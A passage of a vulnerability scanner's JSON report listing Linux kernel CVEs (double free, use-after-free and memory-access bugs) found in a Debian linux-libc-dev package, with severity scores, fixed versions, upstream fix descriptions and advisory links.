"https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45885" ], "PublishedDate": "2026-05-27T14:17:02.417Z", "LastModifiedDate": "2026-06-25T21:13:05.397Z" }, { "VulnerabilityID": "CVE-2026-45891", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45891", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f636467e4bf372750aa703f3993a2a5ab466033171c3a64a22c0142d5023d52f", "Title": "kernel: net: hns3: fix double free issue for tx spare buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: hns3: fix double free issue for tx spare buffer\n\nIn hns3_set_ringparam(), a temporary copy (tmp_rings) of the ring structure\nis created for rollback. However, the tx_spare pointer in the original\nring handle is incorrectly left pointing to the old backup memory.\n\nLater, if memory allocation fails in hns3_init_all_ring() during the setup,\nthe error path attempts to free all newly allocated rings. Since tx_spare\ncontains a stale (non-NULL) pointer from the backup, it is mistaken for\na newly allocated buffer and is erroneously freed, leading to a double-free\nof the backup memory.\n\nThe root cause is that the tx_spare field was not cleared after its value\nwas saved in tmp_rings, leaving a dangling pointer.\n\nFix this by setting tx_spare to NULL in the original ring structure\nwhen the creation of the new `tx_spare` fails. This ensures the\nerror cleanup path only frees genuinely newly allocated buffers.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45891", "https://git.kernel.org/linus/6d2f142b1e4b203387a92519d9d2e34752a79dbb%20%287.0-rc1%29", "https://git.kernel.org/stable/c/43015461662d41dcfb3bb95fadd8a2a42ad8eacf", "https://git.kernel.org/stable/c/6d2f142b1e4b203387a92519d9d2e34752a79dbb", "https://git.kernel.org/stable/c/6dc10494cfe27b6f1e9adb7e293293ae39c50b7c", "https://git.kernel.org/stable/c/c3659273860bed0c8e573b865e3769abc51225a8", "https://git.kernel.org/stable/c/d2c785733dfb853ea0b53984c75662a1af230a94", "https://git.kernel.org/stable/c/fb6a4c376d454b425555b1b0bda36e99f56ec307", "https://git.kernel.org/stable/c/fdbccddb7e7822016601829f95de4008e193f7bc", "https://lore.kernel.org/linux-cve-announce/2026052717-CVE-2026-45891-8561@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45891", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45891" ], "PublishedDate": "2026-05-27T14:17:03.183Z", "LastModifiedDate": "2026-11-06T16:18:49.603Z" }, { "VulnerabilityID": "CVE-2026-45893", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45893", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3257b6c88cfe1f4a105b3b645b0daa3f8964ee2f529984991fe30a83992ae685", "Title": "kernel: apparmor: Fix \u0026#38; Optimize table creation from possibly unaligned memory", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\napparmor: Fix \u0026 Optimize table creation from possibly unaligned memory\n\nSource blob may come from userspace and might be unaligned.\nTry to optize the copying process by avoiding unaligned memory accesses.\n\n- Added Fixes tag\n- Added \"Fix \u0026\" to description as this doesn't just optimize but fixes\n a potential unaligned memory access\n[jj: remove duplicate word \"convert\" in comment trigger checkpatch warning]", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45893", "https://git.kernel.org/linus/6fc367bfd4c8886e6b1742aabbd1c0bdc310db3a%20%287.0-rc1%29", "https://git.kernel.org/stable/c/1fbc4b24c7443ffd501609be74d9856fb940d703", "https://git.kernel.org/stable/c/226c3b10aab23f73b03c47e7773107de56ba3a4e", "https://git.kernel.org/stable/c/47e351dfef60ab0e3285133556e1a9c7f646a969", "https://git.kernel.org/stable/c/6fc367bfd4c8886e6b1742aabbd1c0bdc310db3a", "https://git.kernel.org/stable/c/83939c2afba70b49062c31ca6a6de7f46951d26d", "https://git.kernel.org/stable/c/e027999049c493fb728ead5a90db76942181a935", "https://lore.kernel.org/linux-cve-announce/2026052718-CVE-2026-45893-87f1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45893", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-45893" ], "PublishedDate": "2026-05-27T14:17:03.487Z", "LastModifiedDate": "2026-10-30T13:18:52.77Z" }, { "VulnerabilityID": "CVE-2026-45902", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45902", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4814d5ab79410e8ee249f62d7db47f399dfd697835385b7ba462488eb6ac291b", "Title": "kernel: power: supply: bq256xx: Fix use-after-free in power_supply_changed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: supply: bq256xx: Fix use-after-free in power_supply_changed()\n\nUsing the `devm_` variant for requesting IRQ _before_ the `devm_`\nvariant for allocating/registering the `power_supply` handle, means that\nthe `power_supply` handle will be deallocated/unregistered _before_ the\ninterrupt handler (since `devm_` naturally deallocates in reverse\nallocation order). This means that during removal, there is a race\ncondition where an interrupt can fire just _after_ the `power_supply`\nhandle has been freed, *but* just _before_ the corresponding\nunregistration of the IRQ handler has run.\n\nThis will lead to the IRQ handler calling `power_supply_changed()` with\na freed `power_supply` handle. Which usually crashes the system or\notherwise silently corrupts the memory...\n\nNote that there is a similar situation which can also happen during\n`probe()`; the possibility of an interrupt firing _before_ registering\nthe `power_supply` handle. This would then lead to the nasty situation\nof using the `power_supply` handle *uninitialized* in\n`power_supply_changed()`.\n\nFix this racy use-after-free by making sure the IRQ is requested _after_\nthe registration of the `power_supply` handle.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45902", "https://git.kernel.org/linus/8005843369723d9c8975b7c4202d1b85d6125302%20%287.0-rc1%29", "https://git.kernel.org/stable/c/4b6fb0b6124f558131e502e3ffd03e6583b3ace6", "https://git.kernel.org/stable/c/74b5a88318db97d51bb40f774736553c2acd1514", "https://git.kernel.org/stable/c/8005843369723d9c8975b7c4202d1b85d6125302", "https://git.kernel.org/stable/c/81d3688c9a2158329391e08f2d0b8ba204216044", "https://git.kernel.org/stable/c/83c27fdd696ac13d023ef7a0345301be93209c53", "https://git.kernel.org/stable/c/8796910131a32ff29275052df768ef022929a394", "https://git.kernel.org/stable/c/cb5c743936edcebc51880eeb6bf04979b5c9438b", "https://lore.kernel.org/linux-cve-announce/2026052720-CVE-2026-45902-bfec@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45902", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45902" ], "PublishedDate": "2026-05-27T14:17:04.583Z", "LastModifiedDate": "2026-06-24T16:29:02.353Z" }, { "VulnerabilityID": "CVE-2026-45914", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45914", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:320fa5b4c281e431d1ade5d8e7d18f1164c65e311af4efdbdc826ae87a7871a9", "Title": "kernel: Revert \"hwmon: (ibmpex) fix use-after-free in high/low store\"", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRevert \"hwmon: (ibmpex) fix use-after-free in high/low store\"\n\nThis reverts commit 6946c726c3f4c36f0f049e6f97e88c510b15f65d.\n\nJean Delvare points out that the patch does not completely\nfix the reported problem, that it in fact introduces a\n(new) race condition, and that it may actually not be needed in\nthe first place.\n\nVarious AI reviews agree. Specific and relevant AI feedback:\n\n\"\nThis reordering sets the driver data to NULL before removing the sensor\nattributes in the loop below.\n\nibmpex_show_sensor() retrieves this driver data via dev_get_drvdata() but\ndoes not check if it is NULL before dereferencing it to access\ndata-\u003esensors[].\n\nIf a userspace process reads a sensor file (like temp1_input) while this\ndelete function is running, could it race with the dev_set_drvdata(...,\nNULL) call here and crash in ibmpex_show_sensor()?\n\nWould it be safer to keep the original order where device_remove_file() is\ncalled before clearing the driver data? device_remove_file() should wait\nfor any active sysfs callbacks to complete, which might already prevent the\nuse-after-free this patch intends to fix.\n\"\n\nRevert the offending patch. If it can be shown that the originally reported\nalleged race condition does indeed exist, it can always be re-introduced\nwith a complete fix.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45914", "https://git.kernel.org/linus/8bde3e395a85017f12af2b0ba5c3684f5af9c006%20%287.0-rc1%29", "https://git.kernel.org/stable/c/05112ba67c824ab416cd54307c0b50aba9f0047a", "https://git.kernel.org/stable/c/14a38784e09aebc21207dc32fffa05247fc3dd64", "https://git.kernel.org/stable/c/894d9c7aab68fd0c70c78b1d03c8fa589fb0f67d", "https://git.kernel.org/stable/c/8bde3e395a85017f12af2b0ba5c3684f5af9c006", "https://git.kernel.org/stable/c/914b47c9b824d3d74f31c764163edf93302100b1", "https://git.kernel.org/stable/c/efd68429f23fb4015b0ebc2392334059e06fad18", "https://git.kernel.org/stable/c/f448acd86835a650f9ea83460b9ca347d3aafba5", "https://kernelcve.org/list/?q=CVE-2026-45914", "https://linux.oracle.com/cve/CVE-2026-45914.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052723-CVE-2026-45914-eaae@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45914", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-45914" ], "PublishedDate": "2026-05-27T14:17:06.18Z", "LastModifiedDate": "2026-06-24T14:55:01.837Z" }, { "VulnerabilityID": "CVE-2026-45916", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45916", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9356f90b893e037a39800280a3ef714e825cd9d5e9dc64855aaddadf6808da07", "Title": "kernel: power: supply: sbs-battery: Fix use-after-free in power_supply_changed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: supply: sbs-battery: Fix use-after-free in power_supply_changed()\n\nUsing the `devm_` variant for requesting IRQ _before_ the `devm_`\nvariant for allocating/registering the `power_supply` handle, means that\nthe `power_supply` handle will be deallocated/unregistered _before_ the\ninterrupt handler (since `devm_` naturally deallocates in reverse\nallocation order). This means that during removal, there is a race\ncondition where an interrupt can fire just _after_ the `power_supply`\nhandle has been freed, *but* just _before_ the corresponding\nunregistration of the IRQ handler has run.\n\nThis will lead to the IRQ handler calling `power_supply_changed()` with\na freed `power_supply` handle. Which usually crashes the system or\notherwise silently corrupts the memory...\n\nNote that there is a similar situation which can also happen during\n`probe()`; the possibility of an interrupt firing _before_ registering\nthe `power_supply` handle. This would then lead to the nasty situation\nof using the `power_supply` handle *uninitialized* in\n`power_supply_changed()`.\n\nFix this racy use-after-free by making sure the IRQ is requested _after_\nthe registration of the `power_supply` handle. Keep the old behavior of\njust printing a warning in case of any failures during the IRQ request\nand finishing the probe successfully.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45916", "https://git.kernel.org/linus/8d59cf3887fbabacef53bfba473e33e8a8d9d07b%20%287.0-rc1%29", "https://git.kernel.org/stable/c/14d4dee5d8fb361bfff275832087254beab66d72", "https://git.kernel.org/stable/c/2078830c32d1e49ac942c6f8c21f35c806ae5e94", "https://git.kernel.org/stable/c/8010b745b436c3e1ca5dd960aa29fa3e0f6d8841", "https://git.kernel.org/stable/c/82d3eb97a976c9d56bb92b241397610e57a9c629", "https://git.kernel.org/stable/c/861dda7a9074c0ff67788928165ae39d7f647491", "https://git.kernel.org/stable/c/8d59cf3887fbabacef53bfba473e33e8a8d9d07b", "https://git.kernel.org/stable/c/ca7dd71773e4e050b0fb98768b7eae60f8d1f38b", "https://git.kernel.org/stable/c/f1f472b14ad56104ba228b8fbec60d5b21829913", "https://linux.oracle.com/cve/CVE-2026-45916.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052723-CVE-2026-45916-97a0@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45916", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45916" ], "PublishedDate": "2026-05-27T14:17:06.463Z", "LastModifiedDate": "2026-06-24T17:23:32.44Z" }, { "VulnerabilityID": "CVE-2026-45920", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45920", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2afc62b4e6b27f0719f09906554235ac6c821d3d88aa4b1f2ea0b782af8c3f46", "Title": "kernel: ext4: fix dirtyclusters double decrement on fs shutdown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: fix dirtyclusters double decrement on fs shutdown\n\nfstests test generic/388 occasionally reproduces a warning in\next4_put_super() associated with the dirty clusters count:\n\n WARNING: CPU: 7 PID: 76064 at fs/ext4/super.c:1324 ext4_put_super+0x48c/0x590 [ext4]\n\nTracing the failure shows that the warning fires due to an\ns_dirtyclusters_counter value of -1. IOW, this appears to be a\nspurious decrement as opposed to some sort of leak. Further tracing\nof the dirty cluster count deltas and an LLM scan of the resulting\noutput identified the cause as a double decrement in the error path\nbetween ext4_mb_mark_diskspace_used() and the caller\next4_mb_new_blocks().\n\nFirst, note that generic/388 is a shutdown vs. fsstress test and so\nproduces a random set of operations and shutdown injections. In the\nproblematic case, the shutdown triggers an error return from the\next4_handle_dirty_metadata() call(s) made from\next4_mb_mark_context(). The changed value is non-zero at this point,\nso ext4_mb_mark_diskspace_used() does not exit after the error\nbubbles up from ext4_mb_mark_context(). Instead, the former\ndecrements both cluster counters and returns the error up to\next4_mb_new_blocks(). The latter falls into the !ar-\u003elen out path\nwhich decrements the dirty clusters counter a second time, creating\nthe inconsistency.\n\nTo avoid this problem and simplify ownership of the cluster\nreservation in this codepath, lift the counter reduction to a single\nplace in the caller. This makes it more clear that\next4_mb_new_blocks() is responsible for acquiring cluster\nreservation (via ext4_claim_free_clusters()) in the !delalloc case\nas well as releasing it, regardless of whether it ends up consumed\nor returned due to failure.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45920", "https://git.kernel.org/linus/94a8cea54cd935c54fa2fba70354757c0fc245e3%20%287.0-rc1%29", "https://git.kernel.org/stable/c/3924aea2c33df3864929c1acd178bfc29d8f005f", "https://git.kernel.org/stable/c/523d5a4df3c649fa305c89efb552ec62a1ce9d3d", "https://git.kernel.org/stable/c/55576fa14771d33994c29a9ae960e07bb3f56c20", "https://git.kernel.org/stable/c/61e372122b6d95aec940fdaea0a16f988f359897", "https://git.kernel.org/stable/c/81982a11406c5da6c6e2b188028e7056e16b7128", "https://git.kernel.org/stable/c/94a8cea54cd935c54fa2fba70354757c0fc245e3", "https://git.kernel.org/stable/c/ca408af08544d96769c93a3d81a7f63f61129e95", "https://git.kernel.org/stable/c/dbc4e10619ed87a50e637b96f2e574df36a7a769", "https://linux.oracle.com/cve/CVE-2026-45920.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052724-CVE-2026-45920-db68@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45920", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45920" ], "PublishedDate": "2026-05-27T14:17:06.93Z", "LastModifiedDate": "2026-11-06T16:18:52.317Z" }, { "VulnerabilityID": "CVE-2026-45936", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45936", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a6e7724458f7e8d498f510984ff6dab211cfaf8b30f247096ff1c7a9e75b48a6", "Title": "kernel: power: supply: goldfish: Fix use-after-free in power_supply_changed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: supply: goldfish: Fix use-after-free in power_supply_changed()\n\nUsing the `devm_` variant for requesting IRQ _before_ the `devm_`\nvariant for allocating/registering the `power_supply` handle, means that\nthe `power_supply` handle will be deallocated/unregistered _before_ the\ninterrupt handler (since `devm_` naturally deallocates in reverse\nallocation order). This means that during removal, there is a race\ncondition where an interrupt can fire just _after_ the `power_supply`\nhandle has been freed, *but* just _before_ the corresponding\nunregistration of the IRQ handler has run.\n\nThis will lead to the IRQ handler calling `power_supply_changed()` with\na freed `power_supply` handle. Which usually crashes the system or\notherwise silently corrupts the memory...\n\nNote that there is a similar situation which can also happen during\n`probe()`; the possibility of an interrupt firing _before_ registering\nthe `power_supply` handle. This would then lead to the nasty situation\nof using the `power_supply` handle *uninitialized* in\n`power_supply_changed()`.\n\nFix this racy use-after-free by making sure the IRQ is requested _after_\nthe registration of the `power_supply` handle.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45936", "https://git.kernel.org/linus/b2ce982e2e0c888dc55c888ad0e20ea04daf2e6b%20%287.0-rc1%29", "https://git.kernel.org/stable/c/0b29ffe4090a3fc7a7649de20e1eb1e53adddac7", "https://git.kernel.org/stable/c/33751e28842bf5aee5ef7b2b8d5e456a069095cb", "https://git.kernel.org/stable/c/4350505e82b4f972ddb788e1c712c557c38859d0", "https://git.kernel.org/stable/c/589d4fe56713c6344cd9f8939f9c7621c85f0966", "https://git.kernel.org/stable/c/77ea437faa4c06362e3ecfd2d7264eaa7ac1e82c", "https://git.kernel.org/stable/c/8c89aade8335e26a6a7dcda18992d15f51943927", "https://git.kernel.org/stable/c/b2ce982e2e0c888dc55c888ad0e20ea04daf2e6b", "https://git.kernel.org/stable/c/bad8b61eb5059acd88349680e47839342dc89e94", "https://lore.kernel.org/linux-cve-announce/2026052728-CVE-2026-45936-d84c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45936", 